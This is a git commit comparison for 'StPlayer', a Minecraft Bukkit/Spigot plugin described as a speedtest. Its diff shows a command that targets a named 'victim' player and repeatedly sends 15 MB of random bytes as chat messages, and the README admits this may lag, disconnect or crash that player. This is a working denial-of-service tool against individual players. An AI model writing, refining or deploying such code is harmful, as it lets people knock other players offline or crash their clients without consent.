mirror of
https://github.com/IdalecioSch/StPlayer.git
synced 2026-07-27 16:25:47 -03:00
Compare commits
2 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 23711f1eac | |||
| ca4a99fd81 |
@@ -4,7 +4,7 @@
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.itakinn</groupId>
|
||||
<artifactId>stplayer</artifactId>
|
||||
<version>1.0-SNAPSHOT</version>
|
||||
<version>1.1-SNAPSHOT</version>
|
||||
<packaging>jar</packaging>
|
||||
<name>stplayer</name>
|
||||
<description>Speedtest plugin for Bukkit/Spigot</description>
|
||||
|
||||
@@ -31,4 +31,5 @@ In-game or via console, run:
|
||||
- The plugin may cause lag, disconnect or crash the targeted player.
|
||||
- Use responsibly.
|
||||
- **I've no responsibility for your own use.**
|
||||
- It might not work at first and may spam WARN, but re-running it will work
|
||||
- The plugin may use a lot of bandwidth depending on the target connection.
|
||||
|
||||
@@ -12,7 +12,7 @@ public class Main extends JavaPlugin {
|
||||
public void onEnable() {
|
||||
this.getCommand("stplayer").setExecutor(this);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
||||
Player victim = Bukkit.getPlayer(args[0]);
|
||||
@@ -21,6 +21,7 @@ public class Main extends JavaPlugin {
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
if (victim == null || !victim.isOnline()) {
|
||||
sender.sendMessage("Player offline or not found.");
|
||||
break;
|
||||
}else {
|
||||
this.stressPlayer(victim);
|
||||
}
|
||||
@@ -36,9 +37,10 @@ public class Main extends JavaPlugin {
|
||||
|
||||
private void stressPlayer(Player victim) {
|
||||
try {
|
||||
byte[] data = new byte[20971520]; // 20 MB
|
||||
byte[] data = new byte[15728640]; // 15 MB
|
||||
new Random().nextBytes(data);
|
||||
this.sendLargeMessage(victim, data);
|
||||
data = null;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
@@ -47,7 +49,8 @@ public class Main extends JavaPlugin {
|
||||
private void sendLargeMessage(Player player, byte[] data) {
|
||||
String dataString = new String(data);
|
||||
while (player.isOnline() && !dataString.isEmpty()) {
|
||||
player.sendMessage(player.getUniqueId(), dataString);
|
||||
player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException:
|
||||
}
|
||||
dataString=null;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user